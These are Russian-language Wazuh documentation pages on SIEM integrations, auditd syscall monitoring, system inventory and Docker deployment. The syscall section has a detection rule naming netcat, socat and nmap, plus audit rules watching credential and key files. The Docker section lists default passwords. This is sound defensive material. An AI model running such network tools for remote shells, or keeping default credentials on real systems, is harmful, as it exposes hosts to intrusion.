        "agent": alert.get("agent", {}).get("name"),
        "timestamp": alert.get("timestamp"),
    }

    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {api_key}",
    }

    response = requests.post(hook_url, json=payload, headers=headers)
    response.raise_for_status()

if __name__ == "__main__":
    main()
```

2. Установите скрипт:

```bash
cp custom-webhook /var/ossec/integrations/
chmod 750 /var/ossec/integrations/custom-webhook
chown root:wazuh /var/ossec/integrations/custom-webhook
```

3. Настройте в `ossec.conf`:

```xml
<integration>
  <name>custom-webhook</name>
  <hook_url>https://api.example.com/wazuh-alerts</hook_url>
  <api_key>YOUR_API_KEY</api_key>
  <level>7</level>
  <alert_format>json</alert_format>
</integration>
```

## Syslog Forwarding

Syslog forwarding позволяет пересылать алерты Wazuh в другие SIEM-системы (Splunk, QRadar, ArcSight, ELK) по протоколу syslog.

### Настройка syslog output

Конфигурация задается в блоке `<syslog_output>` файла `ossec.conf`:

```xml
<syslog_output>
  <server>192.168.1.100</server>
  <port>514</port>
  <format>json</format>
  <level>5</level>
</syslog_output>
```

### Поддерживаемые форматы

| Формат | Описание | Рекомендуемое использование |
|---|---|---|
| `default` | Стандартный syslog (RFC 3164) | Совместимость с legacy SIEM |
| `json` | JSON-формат алерта | Splunk, ELK, современные SIEM |
| `cef` | Common Event Format | ArcSight, QRadar |

### Фильтрация по группам и уровням

```xml
<syslog_output>
  <server>splunk.example.com</server>
  <port>1514</port>
  <format>json</format>
  <level>7</level>
  <group>authentication_failed,attack,</group>
</syslog_output>
```

### Syslog через TLS

Для безопасной пересылки используйте rsyslog или syslog-ng в качестве промежуточного слоя с TLS-шифрованием:

```bash
# /etc/rsyslog.d/wazuh-forward.conf
module(load="imudp")
input(type="imudp" port="514")

action(
  type="omfwd"
  target="siem.example.com"
  port="6514"
  protocol="tcp"
  StreamDriver="gtls"
  StreamDriverMode="1"
  StreamDriverAuthMode="x509/name"
)
```

## Wazuh как источник данных для Splunk

Wazuh предоставляет официальное приложение для Splunk, которое обеспечивает двустороннюю интеграцию.

### Архитектура интеграции

```
Wazuh Manager --> syslog/json --> Splunk Universal Forwarder --> Splunk Indexer
                                                                     |
                                                              Wazuh App for Splunk
```

### Настройка Splunk Forwarder

1. Установите Splunk Universal Forwarder на сервер Wazuh Manager
2. Настройте мониторинг файла алертов:

```ini
# /opt/splunkforwarder/etc/system/local/inputs.conf
[monitor:///var/ossec/logs/alerts/alerts.json]
disabled = false
index = wazuh
sourcetype = wazuh-alerts
```

3. Установите Wazuh App for Splunk на Search Head для визуализации данных

### Wazuh как standalone SIEM vs дополнение к Splunk/ELK

| Критерий | Wazuh Standalone | Wazuh + Splunk/ELK |
|---|---|---|
| Хранение данных | OpenSearch (Wazuh Indexer) | Splunk/Elasticsearch |
| Визуализация | Wazuh Dashboard | Splunk/Kibana + Wazuh App |
| Корреляция | Правила Wazuh | Правила Wazuh + SPL/KQL |
| Масштабирование | Кластер OpenSearch | Инфраструктура Splunk/ELK |
| Стоимость | Бесплатно | Лицензия Splunk / ресурсы ELK |

Для организаций, уже использующих Splunk или ELK, рекомендуется гибридный подход: Wazuh обеспечивает сбор данных и первичный анализ на конечных точках, а SIEM выполняет централизованную корреляцию и долгосрочное хранение.

## Интеграция с Elastic Stack (ELK)

Wazuh поддерживает интеграцию с Elasticsearch через Filebeat.

### Настройка Filebeat

```yaml
# /etc/filebeat/filebeat.yml
filebeat.modules:
  - module: wazuh
    alerts:
      enabled: true

output.elasticsearch:
  hosts: ["https://elasticsearch.example.com:9200"]
  index: "wazuh-alerts-%{+yyyy.MM.dd}"
  username: "elastic"
  password: "${ES_PASSWORD}"
  ssl.certificate_authorities: ["/etc/filebeat/certs/ca.pem"]
```

Подробнее о настройке Filebeat для Wazuh описано в [официальной документации Wazuh](https://documentation.wazuh.com/current/deployment-options/elastic-stack/index.html).

## Устранение неполадок

### Алерты не отправляются во внешнюю систему

1. Проверьте статус демона integratord:

```bash
/var/ossec/bin/wazuh-control status | grep integratord
```

2. Проверьте логи интеграции:

```bash
tail -f /var/ossec/logs/integrations.log
```

3. Убедитесь, что скрипт интеграции имеет корректные права:

```bash
ls -la /var/ossec/integrations/
# Ожидаемые права: -rwxr-x--- root wazuh
```

### Ошибки аутентификации

- **Slack**: проверьте, что webhook URL актуален и приложение не деактивировано
- **PagerDuty**: убедитесь, что Integration Key соответствует сервису Events API v2
- **VirusTotal**: проверьте лимит API-запросов в [Dashboard VirusTotal](https://www.virustotal.com/gui/my-apikey)

### Высокая нагрузка на integratord

При большом количестве алертов демон может создавать очередь. Рекомендации:

- Увеличьте `<level>` для фильтрации несущественных алертов
- Используйте `<rule_id>` или `<group>` для точечной отправки
- Мониторьте размер очереди через `/var/ossec/var/run/wazuh-integratord.state`

### Syslog forwarding не работает

1. Проверьте сетевую доступность:

```bash
nc -zv siem.example.com 514
```

2. Убедитесь, что блок `<syslog_output>` находится внутри `<ossec_config>`:

```bash
/var/ossec/bin/wazuh-logtest -t
```

3. Проверьте, что после изменения конфигурации сервер был перезапущен:

```bash
/var/ossec/bin/wazuh-control restart
```

Подробнее о написании собственных скриптов интеграции читайте в разделе [Разработка пользовательских интеграций](/docs/wazuh/development/wazuh-custom-integrations/).


---

# Wazuh System Calls - мониторинг системных вызовов

Source: https://opennix.org/docs/wazuh/capabilities/wazuh-system-calls/


Wazuh мониторит системные вызовы на Linux-конечных точках через интеграцию с подсистемой Linux Audit (auditd). Агент Wazuh устанавливает и настраивает правила аудита на конечных точках, собирает события системных вызовов и передает их на сервер для анализа. Мониторинг системных вызовов позволяет обнаруживать подозрительные действия на уровне ядра ОС: выполнение привилегированных команд, доступ к критическим файлам, сетевые подключения и попытки повышения привилегий.

## Архитектура мониторинга

Система мониторинга системных вызовов состоит из следующих компонентов:

1. **Linux Audit (auditd)** - подсистема ядра, перехватывающая системные вызовы
2. **Audit rules** - правила, определяющие какие вызовы отслеживать
3. **Wazuh agent** - собирает аудит-логи из `/var/log/audit/audit.log`
4. **Wazuh server** - анализирует события и генерирует алерты

Конфигурация сбора аудит-логов на агенте:

```xml
<localfile>
  <log_format>audit</log_format>
  <location>/var/log/audit/audit.log</location>
</localfile>
```

## Типы правил аудита

Linux Audit поддерживает три типа правил:

### Правила файловой системы (file system rules)

Отслеживают операции с файлами и директориями:

```bash
# Мониторинг изменений в /etc/passwd
auditctl -w /etc/passwd -p wa -k passwd_changes

# Мониторинг доступа к конфигурации SSH
auditctl -w /etc/ssh/sshd_config -p rwxa -k sshd_config

# Мониторинг директории /etc/sudoers.d
auditctl -w /etc/sudoers.d/ -p wa -k sudoers_changes
```

Флаги прав доступа:
- `r` - чтение
- `w` - запись
- `x` - выполнение
- `a` - изменение атрибутов

### Правила системных вызовов (system call rules)

Отслеживают конкретные системные вызовы:

```bash
# Мониторинг выполнения программ (execve)
auditctl -a always,exit -F arch=b64 -S execve -k program_execution

# Мониторинг сетевых подключений (connect)
auditctl -a always,exit -F arch=b64 -S connect -k network_connections

# Мониторинг открытия файлов (open/openat)
auditctl -a always,exit -F arch=b64 -S open -S openat -F auid>=1000 -k file_access

# Мониторинг изменения прав (chmod/chown)
auditctl -a always,exit -F arch=b64 -S chmod -S fchmod -S chown -k permission_changes
```

### Управляющие правила (control rules)

Настраивают поведение подсистемы аудита:

```bash
# Установить размер буфера
auditctl -b 8192

# Заблокировать конфигурацию аудита (до перезагрузки)
auditctl -e 2

# Удалить все правила
auditctl -D
```

## Постоянные правила аудита

Правила `auditctl` действуют до перезагрузки. Для постоянного применения добавьте правила в файл `/etc/audit/rules.d/wazuh.rules`:

```
# Мониторинг выполнения программ
-a always,exit -F arch=b64 -S execve -k exec_commands

# Мониторинг критических файлов
-w /etc/passwd -p wa -k identity_changes
-w /etc/group -p wa -k identity_changes
-w /etc/shadow -p wa -k identity_changes

# Мониторинг сетевых подключений
-a always,exit -F arch=b64 -S connect -S accept -k network_activity

# Мониторинг загрузки модулей ядра
-a always,exit -F arch=b64 -S init_module -S finit_module -k kernel_modules

# Мониторинг монтирования файловых систем
-a always,exit -F arch=b64 -S mount -S umount2 -k mount_operations

# Мониторинг изменения времени
-a always,exit -F arch=b64 -S adjtimex -S settimeofday -S clock_settime -k time_changes

# Мониторинг удаления файлов
-a always,exit -F arch=b64 -S unlink -S unlinkat -S rename -S renameat -F auid>=1000 -k file_deletion
```

Применение правил:

```bash
augenrules --load
systemctl restart auditd
```

## Who-data для FIM

Интеграция с Linux Audit позволяет модулю File Integrity Monitoring (FIM) получать расширенную информацию о том, кто и какой процесс изменил файл. Это называется who-data.

### Настройка who-data

В конфигурации FIM на агенте включите режим `whodata`:

```xml
<syscheck>
  <directories check_all="yes" whodata="yes">/etc</directories>
  <directories check_all="yes" whodata="yes">/usr/bin</directories>
  <directories check_all="yes" whodata="yes">/usr/sbin</directories>
</syscheck>
```

При включении `whodata="yes"` Wazuh автоматически создает правила аудита для указанных директорий. Алерты FIM будут содержать дополнительные поля:

- `audit.user.id` - UID пользователя, изменившего файл
- `audit.user.name` - имя пользователя
- `audit.process.id` - PID процесса
- `audit.process.name` - имя процесса
- `audit.process.ppid` - PID родительского процесса

### Пример алерта who-data

```json
{
  "rule": {
    "id": "550",
    "level": 7,
    "description": "Integrity checksum changed"
  },
  "syscheck": {
    "path": "/etc/hosts",
    "audit": {
      "user": {
        "id": "0",
        "name": "root"
      },
      "process": {
        "id": "1234",
        "name": "vim",
        "ppid": "5678"
      }
    }
  }
}
```

## Мониторинг конкретных системных вызовов

### execve - выполнение программ

Системный вызов `execve` фиксирует запуск каждой программы в системе. Это один из наиболее информативных источников для обнаружения вредоносной активности.

```bash
-a always,exit -F arch=b64 -S execve -F auid>=1000 -F auid!=4294967295 -k user_commands
```

Правило Wazuh для обнаружения выполнения подозрительных команд:

```xml
<rule id="100400" level="10">
  <if_sid>80792</if_sid>
  <field name="audit.command">nc|ncat|netcat|socat|nmap</field>
  <description>Suspicious network tool executed: $(audit.command)</description>
  <mitre>
    <id>T1046</id>
  </mitre>
  <group>audit,syscall,network_scan,</group>
</rule>
```

### connect - сетевые подключения

Мониторинг исходящих сетевых подключений:

```bash
-a always,exit -F arch=b64 -S connect -F a0!=0x2 -k outbound_connections
```

### open/openat - доступ к файлам

Мониторинг доступа к конфиденциальным файлам:

```bash
-a always,exit -F arch=b64 -S open -S openat -F dir=/etc/ssl/private -k ssl_key_access
-a always,exit -F arch=b64 -S open -S openat -F dir=/root/.ssh -k ssh_key_access
```

### ptrace - отладка процессов

Мониторинг вызовов `ptrace`, которые используются для отладки и инъекции в процессы:

```bash
-a always,exit -F arch=b64 -S ptrace -k process_injection
```

### socket - создание сокетов

```bash
-a always,exit -F arch=b64 -S socket -F a0=0x2 -k ipv4_socket
-a always,exit -F arch=b64 -S socket -F a0=0xa -k ipv6_socket
```

## События SELinux и AppArmor

### SELinux

Wazuh собирает события SELinux из аудит-лога. Типичные события:

- `AVC denial` - отказ в доступе по политике SELinux
- `MAC_POLICY_LOAD` - загрузка новой политики
- `MAC_STATUS` - изменение режима работы (enforcing/permissive)
- `MAC_CONFIG_CHANGE` - изменение конфигурации

Правило обнаружения переключения SELinux в permissive:

```xml
<rule id="100410" level="12">
  <if_sid>80700</if_sid>
  <match>MAC_STATUS</match>
  <field name="audit.selinux.enforcing">0</field>
  <description>SELinux switched to permissive mode</description>
  <mitre>
    <id>T1562.001</id>
  </mitre>
  <group>audit,selinux,defense_evasion,</group>
</rule>
```

### AppArmor

События AppArmor также собираются через подсистему аудита:

- `APPARMOR_ALLOWED` - действие разрешено профилем
- `APPARMOR_DENIED` - действие заблокировано профилем
- `APPARMOR_STATUS` - изменение статуса профиля

```xml
<rule id="100411" level="8">
  <if_sid>80700</if_sid>
  <match>apparmor="DENIED"</match>
  <description>AppArmor denied action: $(audit.apparmor.operation)</description>
  <group>audit,apparmor,access_denied,</group>
</rule>
```

## Сравнение с другими решениями

| Возможность | Wazuh + auditd | Sysdig | Falco |
|-------------|---------------|--------|-------|
| Мониторинг syscalls | Через Linux Audit | Собственный драйвер ядра / eBPF | eBPF / модуль ядра |
| Контейнерная поддержка | Через хостовой аудит | Нативная | Нативная |
| Правила обнаружения | XML-правила Wazuh | Chisel-скрипты Lua | YAML-правила |
| Корреляция с другими событиями | Да (встроенный движок) | Ограниченная | Через интеграции |
| FIM с who-data | Да | Нет (другой подход) | Нет |
| MITRE ATT&CK маппинг | Да | Нет | Да |
| Стоимость | Бесплатно | Коммерческая (Sysdig Secure) | Бесплатно (open source) |
| Производительность | Умеренное влияние | Низкое влияние (eBPF) | Низкое влияние (eBPF) |

## Рекомендации по настройке

### Минимальный набор правил аудита

Для начала рекомендуется следующий набор:

```
# Выполнение программ
-a always,exit -F arch=b64 -S execve -F auid>=1000 -F auid!=4294967295 -k exec

# Критические файлы
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/sudoers -p wa -k sudoers

# Сетевая активность
-a always,exit -F arch=b64 -S connect -k network

# Загрузка модулей ядра
-a always,exit -F arch=b64 -S init_module -S finit_module -k modules
```

### Управление объемом событий

Мониторинг `execve` на нагруженных серверах генерирует значительный объем событий. Рекомендации по оптимизации:

- Используйте фильтр `auid>=1000` для исключения системных процессов
- Добавляйте исключения для доверенных приложений
- Настройте размер буфера аудита (`auditctl -b`) в соответствии с нагрузкой
- Мониторьте потерю событий через `auditctl -s` (поле `lost`)

Подробнее о FIM: [Сценарии использования Wazuh](/docs/wazuh/getting-started/wazuh-use-cases/)

## Устранение неполадок

### События аудита не собираются

- Убедитесь, что auditd установлен и запущен: `systemctl status auditd`
- Проверьте, что правила аудита применены: `auditctl -l`
- Убедитесь, что агент Wazuh настроен на чтение `/var/log/audit/audit.log`
- Проверьте формат `<log_format>audit</log_format>` в localfile

### Потеря событий аудита

- Увеличьте размер буфера: `auditctl -b 16384`
- Проверьте текущие потери: `auditctl -s | grep lost`
- Уменьшите количество правил аудита до необходимого минимума
- Рассмотрите использование `auditd` с `write_logs = no` при высокой нагрузке

### Who-data не работает для FIM

- Проверьте, что auditd установлен и запущен
- Убедитесь, что `whodata="yes"` указано в конфигурации syscheck
- Проверьте, что Wazuh автоматически создал правила: `auditctl -l | grep wazuh`
- Просмотрите `/var/ossec/logs/ossec.log` на наличие ошибок FIM

### Высокая нагрузка на CPU

- Сократите количество отслеживаемых системных вызовов
- Добавьте исключения через `-F exe!=` для известных безопасных процессов
- Используйте `-F auid>=1000` для фильтрации системных сервисов
- Увеличьте интервал сканирования FIM при использовании who-data

Подробнее об архитектуре: [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/)

Подробнее о мониторинге команд: [Мониторинг команд](/docs/wazuh/capabilities/wazuh-command-monitoring/)


---

# Wazuh System Inventory - инвентаризация системы

Source: https://opennix.org/docs/wazuh/capabilities/wazuh-system-inventory/


Модуль Syscollector в Wazuh выполняет инвентаризацию конечных точек - собирает данные об оборудовании, операционной системе, установленных пакетах, сетевых интерфейсах, открытых портах, запущенных процессах и учетных записях. Эти данные используются модулем Vulnerability Detector для сопоставления установленного ПО с базами известных уязвимостей, а также для формирования отчетов о состоянии IT-инфраструктуры. Syscollector работает на всех поддерживаемых платформах: Linux, Windows и macOS.

## Конфигурация Syscollector

Модуль настраивается через блок `<wodle name="syscollector">` в файле `ossec.conf` на агенте:

```xml
<wodle name="syscollector">
  <disabled>no</disabled>
  <interval>1h</interval>
  <scan_on_start>yes</scan_on_start>
  <hardware>yes</hardware>
  <os>yes</os>
  <network>yes</network>
  <packages>yes</packages>
  <ports all="no">yes</ports>
  <processes>yes</processes>
  <hotfixes>yes</hotfixes>
</wodle>
```

### Параметры конфигурации

| Параметр | По умолчанию | Описание |
|----------|-------------|----------|
| `disabled` | no | Включение или отключение модуля (yes/no) |
| `interval` | 1h | Интервал между сканированиями (s/m/h/d) |
| `scan_on_start` | yes | Выполнять сканирование при запуске службы (yes/no) |
| `hardware` | yes | Сбор данных об оборудовании (yes/no) |
| `os` | yes | Сбор данных об операционной системе (yes/no) |
| `network` | yes | Сбор сетевой конфигурации (yes/no) |
| `packages` | yes | Сбор данных об установленных пакетах (yes/no) |
| `ports` | yes | Мониторинг открытых портов (yes/no) |
| `processes` | yes | Инвентаризация процессов (yes/no) |
| `hotfixes` | yes | Проверка установленных обновлений Windows (yes/no) |
| `users` | yes | Сбор информации об учетных записях (yes/no) |
| `groups` | yes | Сбор информации о группах (yes/no) |
| `services` | yes | Сбор данных о службах (yes/no) |
| `browser_extensions` | yes | Сбор данных о расширениях браузеров (yes/no) |

### Атрибут ports all

Параметр `<ports all="no">yes</ports>` определяет, какие порты включать в отчет:

- `all="no"` - только слушающие (LISTEN) порты
- `all="yes"` - все порты, включая установленные соединения

### Синхронизация данных

Syscollector синхронизирует инвентарные данные с менеджером Wazuh. Параметр `max_eps` контролирует скорость передачи:

```xml
<wodle name="syscollector">
  <disabled>no</disabled>
  <interval>1h</interval>
  <synchronization>
    <max_eps>10</max_eps>
  </synchronization>
</wodle>
```

Значение `max_eps` (events per second) ограничивает нагрузку на канал связи между агентом и менеджером. Допустимый диапазон: 0 - 1000000.

## Типы собираемых данных

### Оборудование (hardware)

- Модель и производитель процессора
- Количество ядер CPU
- Объем оперативной памяти (общий и свободный)
- Серийный номер системной платы
- Тактовая частота процессора

### Операционная система (os)

- Название и версия ОС
- Версия ядра
- Архитектура (x86_64, ARM)
- Имя хоста
- Время работы (uptime)
- Версия сборки

### Установленные пакеты (packages)

- Имя пакета и версия
- Архитектура пакета
- Поставщик (vendor)
- Описание
- Дата установки
- Менеджер пакетов (apt, yum, pacman, MSI)

На Windows дополнительно собираются данные из реестра об установленных приложениях.

### Сетевые интерфейсы (network)

- Имя интерфейса
- IP-адреса (IPv4 и IPv6)
- MAC-адрес
- Маска подсети
- Шлюз по умолчанию
- MTU
- Состояние интерфейса (up/down)

### Открытые порты (ports)

- Номер порта
- Протокол (TCP/UDP)
- Локальный и удаленный адрес
- Состояние соединения
- PID связанного процесса

### Запущенные процессы (processes)

- PID и PPID
- Имя процесса
- Командная строка
- Пользователь
- Потребление CPU и памяти
- Приоритет (nice)

### Службы (services)

- Имя службы
- Статус (running, stopped)
- Тип запуска (automatic, manual, disabled)
- PID процесса службы

### Пользователи и группы

- Имя пользователя и UID
- Домашняя директория
- Оболочка входа
- Группы пользователя

### Обновления Windows (hotfixes)

- KB-номер обновления
- Дата установки

### Расширения браузеров

- Название расширения
- Версия
- Браузер (Chrome, Firefox, Edge)
- Описание

## Дашборд инвентаризации

Wazuh Dashboard предоставляет интерфейс для просмотра инвентарных данных каждого агента. Данные организованы по вкладкам:

1. **Overview** - сводная информация о системе
2. **Hardware** - характеристики оборудования
3. **Packages** - список установленных пакетов
4. **Processes** - запущенные процессы
5. **Ports** - открытые порты
6. **Network** - сетевые интерфейсы

Для доступа: **Wazuh Dashboard - Agents - (выберите агента) - Inventory data**.

## Инвентаризация и сопоставление уязвимостей

Данные Syscollector являются входными для модуля Vulnerability Detector. Процесс сопоставления:

1. Syscollector собирает список установленных пакетов и их версий
2. Vulnerability Detector загружает базы уязвимостей (NVD, RHEL, Ubuntu, Debian)
3. Каждый пакет сопоставляется с записями CVE
4. При обнаружении уязвимого пакета генерируется алерт с CVSS-оценкой

Для корректной работы детектора уязвимостей необходимо включить сбор пакетов и информации о ОС:

```xml
<wodle name="syscollector">
  <disabled>no</disabled>
  <interval>1h</interval>
  <packages>yes</packages>
  <os>yes</os>
  <hotfixes>yes</hotfixes>
</wodle>
```

## API-запросы к данным инвентаризации

Wazuh REST API предоставляет эндпоинты для программного доступа к инвентарным данным.

### Получение информации об ОС

```bash
TOKEN=$(curl -sk -u wazuh-wui:password \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")

curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/syscollector/001/os" | jq '.data.affected_items[0]'
```

### Получение списка пакетов

```bash
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/syscollector/001/packages?limit=10" \
  | jq '.data.affected_items[] | {name, version, architecture}'
```

### Получение открытых портов

```bash
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/syscollector/001/ports?state=listening" \
  | jq '.data.affected_items[] | {local_port: .local.port, protocol, pid}'
```

### Получение запущенных процессов

```bash
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/syscollector/001/processes?limit=20&sort=-resident_size" \
  | jq '.data.affected_items[] | {pid, name, cmd, resident_size}'
```

### Получение сетевых интерфейсов

```bash
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/syscollector/001/netiface" \
  | jq '.data.affected_items[] | {name, mac, state, mtu}'
```

### Получение оборудования

```bash
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/syscollector/001/hardware" \
  | jq '.data.affected_items[0] | {cpu_name: .cpu.name, cpu_cores: .cpu.cores, ram_total: .ram.total}'
```

## Отчеты IT Hygiene

Wazuh формирует два типа отчетов на основе инвентарных данных:

- **IT Hygiene Report** - комплексный отчет о состоянии инфраструктуры, включающий все типы собранных данных
- **Property-Specific Report** - отчет по конкретному типу данных (например, только пакеты или только порты)

Отчеты доступны через Wazuh Dashboard и могут быть экспортированы в формате CSV.

Подробнее об обнаружении уязвимостей: [Обнаружение уязвимостей](/docs/wazuh/capabilities/wazuh-vulnerability-detection/)

## Устранение неполадок

### Инвентарные данные не обновляются

- Проверьте, что `<disabled>` установлено в `no`
- Убедитесь, что `<interval>` не слишком велик для ваших требований
- Проверьте `/var/ossec/logs/ossec.log` на наличие ошибок Syscollector
- Убедитесь, что агент подключен к менеджеру: статус `active` в списке агентов

### Пакеты не отображаются

- Проверьте, что `<packages>yes</packages>` включено в конфигурации
- На Linux убедитесь, что менеджер пакетов (dpkg, rpm) доступен
- Дождитесь завершения полного цикла сканирования (проверьте `<interval>`)

### Высокая нагрузка при сканировании

- Увеличьте `<interval>` для снижения частоты сканирования
- Отключите ненужные типы данных (например, `<browser_extensions>no</browser_extensions>`)
- Уменьшите `<max_eps>` в блоке синхронизации
- Установите `<scan_on_start>no</scan_on_start>` для предотвращения нагрузки при запуске

### API возвращает пустые данные

- Убедитесь, что агент выполнил хотя бы одно сканирование
- Проверьте ID агента в запросе
- Убедитесь, что JWT-токен не истек
- Проверьте, что запрашиваемый тип данных включен в конфигурации агента

Подробнее о компонентах: [Компоненты Wazuh](/docs/wazuh/getting-started/wazuh-components/)

Подробнее о сценариях: [Сценарии использования Wazuh](/docs/wazuh/getting-started/wazuh-use-cases/)


---

# Wazuh в Docker - развертывание через Docker Compose

Source: https://opennix.org/docs/wazuh/deployment/wazuh-docker-deployment/


Wazuh предоставляет официальный репозиторий [wazuh-docker](https://github.com/wazuh/wazuh-docker) с готовыми Docker-образами и конфигурациями Docker Compose для развертывания всех центральных компонентов. Этот вариант подходит для быстрого запуска тестовых сред, лабораторий и небольших production-инсталляций.

## Предварительные требования

### Аппаратные требования

| Конфигурация | CPU | RAM | Диск |
|---|---|---|---|
| Одноузловая | 4 ядра | 8 ГБ | 50 ГБ |
| Многоузловая (каждый узел) | 4 ядра | 4 ГБ | 50 ГБ |

### Программные требования

- Docker Engine 24.0 или выше
- Docker Compose v2 (плагин `docker compose`, не устаревший `docker-compose`)
- Git для клонирования репозитория
- 64-битная ОС: Linux, macOS или Windows (через WSL2)

Проверка установленных версий:

```bash
docker --version
docker compose version
```

### Требования к портам

| Порт | Назначение |
|---|---|
| 443 | Wazuh Dashboard (HTTPS) |
| 1514 | Подключение агентов |
| 1515 | Регистрация агентов |
| 9200 | Wazuh Indexer API |
| 55000 | Wazuh Server API |

Убедитесь, что перечисленные порты свободны на хосте.

## Клонирование репозитория

Клонируйте репозиторий wazuh-docker и перейдите в каталог нужной версии:

```bash
git clone https://github.com/wazuh/wazuh-docker.git -b v4.14.3
cd wazuh-docker
```

Репозиторий содержит два основных каталога:

- `single-node/` - все компоненты на одном хосте
- `multi-node/` - распределенная архитектура с несколькими узлами индексатора

## Одноузловое развертывание

### Генерация сертификатов

Перед первым запуском необходимо сгенерировать TLS-сертификаты для защиты коммуникации между компонентами:

```bash
cd single-node
docker compose -f generate-indexer-certs.yml run --rm generator
```

Сертификаты сохраняются в каталоге `config/wazuh_indexer_ssl_certs/` и автоматически монтируются в контейнеры.

### Запуск стека

```bash
docker compose up -d
```

Дождитесь инициализации всех контейнеров (обычно 60-90 секунд):

```bash
docker compose ps
```

Все три сервиса должны быть в состоянии `running (healthy)`:

```
NAME                    STATUS
single-node-wazuh.manager-1    Up (healthy)
single-node-wazuh.indexer-1    Up (healthy)
single-node-wazuh.dashboard-1  Up (healthy)
```

### Доступ к Dashboard

Откройте в браузере `https://<IP-адрес-хоста>:443`. Учетные данные по умолчанию:

- Пользователь: `admin`
- Пароль: `SecretPassword`

Смените пароль после первого входа. Процедура смены описана в разделе [Переменные окружения](#peremennye-okruzheniya).

## Многоузловое развертывание

Многоузловая конфигурация развертывает кластер из трех узлов индексатора, два узла менеджера (мастер и воркер) и один узел дашборда. Все контейнеры запускаются на одном хосте Docker, но архитектура имитирует распределенное развертывание.

### Генерация сертификатов

```bash
cd multi-node
docker compose -f generate-indexer-certs.yml run --rm generator
```

### Запуск кластера

```bash
docker compose up -d
```

Проверка состояния кластера индексатора:

```bash
curl -sk -u admin:SecretPassword https://localhost:9200/_cluster/health?pretty
```

Ожидаемый результат - `status: green` и `number_of_nodes: 3`.

### Проверка кластера менеджера

```bash
curl -sk -u wazuh-wui:SecretPassword \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true" \
  | xargs -I {} curl -sk -H "Authorization: Bearer {}" \
  "https://localhost:55000/cluster/nodes?pretty"
```

В выводе должны присутствовать два узла: мастер и воркер.

## Пользовательские сертификаты

Для production-среды рекомендуется использовать сертификаты, выпущенные корпоративным центром сертификации вместо самоподписанных.

### Замена сертификатов

1. Подготовьте файлы сертификатов в формате PEM:
   - CA-сертификат (`root-ca.pem`)
   - Сертификат и ключ для каждого узла индексатора
   - Сертификат и ключ для менеджера
   - Сертификат и ключ для дашборда

2. Поместите файлы в каталог `config/wazuh_indexer_ssl_certs/`

3. Обновите пути в `docker-compose.yml`, если имена файлов отличаются от стандартных

4. Перезапустите стек:

```bash
docker compose down
docker compose up -d
```

### Требования к сертификатам

- Формат: PEM (Base64-кодированный)
- Subject Alternative Name (SAN): должен содержать DNS-имя или IP-адрес узла
- Key Usage: digitalSignature, keyEncipherment
- Extended Key Usage: serverAuth, clientAuth

## Persistent Volumes

По умолчанию Docker Compose использует именованные тома для хранения данных. Тома сохраняются между перезапусками контейнеров.

### Тома в одноузловой конфигурации

| Том | Назначение | Путь в контейнере |
|---|---|---|
| `wazuh_api_configuration` | Конфигурация API сервера | `/var/ossec/api/configuration` |
| `wazuh_etc` | Конфигурация менеджера | `/var/ossec/etc` |
| `wazuh_logs` | Логи менеджера | `/var/ossec/logs` |
| `wazuh_queue` | Очередь событий | `/var/ossec/queue` |
| `wazuh_var_multigroups` | Данные мультигрупп | `/var/ossec/var/multigroups` |
| `wazuh_integrations` | Скрипты интеграций | `/var/ossec/integrations` |
| `wazuh_active_response` | Скрипты Active Response | `/var/ossec/active-response/bin` |
| `wazuh_agentless` | Конфигурация agentless | `/var/ossec/agentless` |
| `wazuh_wodles` | Wodles (модули) | `/var/ossec/wodles` |
| `wazuh_filebeat_etc` | Конфигурация Filebeat | `/etc/filebeat` |
| `wazuh_filebeat_var` | Данные Filebeat | `/var/lib/filebeat` |
| `wazuh-indexer-data` | Данные индексатора | `/var/lib/wazuh-indexer` |

### Резервное копирование томов

```bash
# Список томов
docker volume ls | grep wazuh

# Резервное копирование тома индексатора
docker run --rm \
  -v single-node_wazuh-indexer-data:/data \
  -v $(pwd)/backup:/backup \
  alpine tar czf /backup/indexer-data.tar.gz -C /data .
```

### Использование bind mounts

Для явного контроля расположения данных на хосте замените именованные тома на bind mounts в `docker-compose.yml`:

```yaml
volumes:
  - ./data/wazuh-indexer:/var/lib/wazuh-indexer
  - ./data/wazuh-logs:/var/ossec/logs
```

Создайте каталоги заранее и установите корректные права:

```bash
mkdir -p data/wazuh-indexer data/wazuh-logs
chown -R 1000:1000 data/wazuh-indexer
```

## Переменные окружения

### Смена пароля администратора индексатора

Пароль задается через переменные окружения в `docker-compose.yml`:

```yaml
services:
  wazuh.indexer:
    environment:
      - OPENSEARCH_INITIAL_ADMIN_PASSWORD=MyNewSecurePassword123!
```

Требования к паролю:

- Минимум 8 символов
- Хотя бы одна заглавная буква, одна строчная, одна цифра и один спецсимвол
- Не должен содержать имя пользователя

### Основные переменные окружения менеджера

| Переменная | Описание | Значение по умолчанию |
|---|---|---|
| `INDEXER_URL` | URL индексатора | `https://wazuh.indexer:9200` |
| `INDEXER_USERNAME` | Пользователь индексатора | `admin` |
| `INDEXER_PASSWORD` | Пароль индексатора | `SecretPassword` |
| `FILEBEAT_SSL_VERIFICATION_MODE` | Верификация SSL | `full` |

### Основные переменные окружения дашборда

| Переменная | Описание | Значение по умолчанию |
|---|---|---|
| `INDEXER_URL` | URL индексатора | `https://wazuh.indexer:9200` |
| `INDEXER_USERNAME` | Пользователь индексатора | `admin` |
| `INDEXER_PASSWORD` | Пароль индексатора | `SecretPassword` |
| `WAZUH_API_URL` | URL API сервера | `https://wazuh.manager` |
| `API_USERNAME` | Пользователь API | `wazuh-wui` |
| `API_PASSWORD` | Пароль API | `MyS3cr37P450r.*-` |

## Монтирование пользовательской конфигурации

### Пользовательский ossec.conf

Для подключения собственной конфигурации менеджера создайте файл `ossec.conf` и смонтируйте его:

```yaml
services:
  wazuh.manager:
    volumes:
      - ./config/ossec.conf:/var/ossec/etc/ossec.conf
```

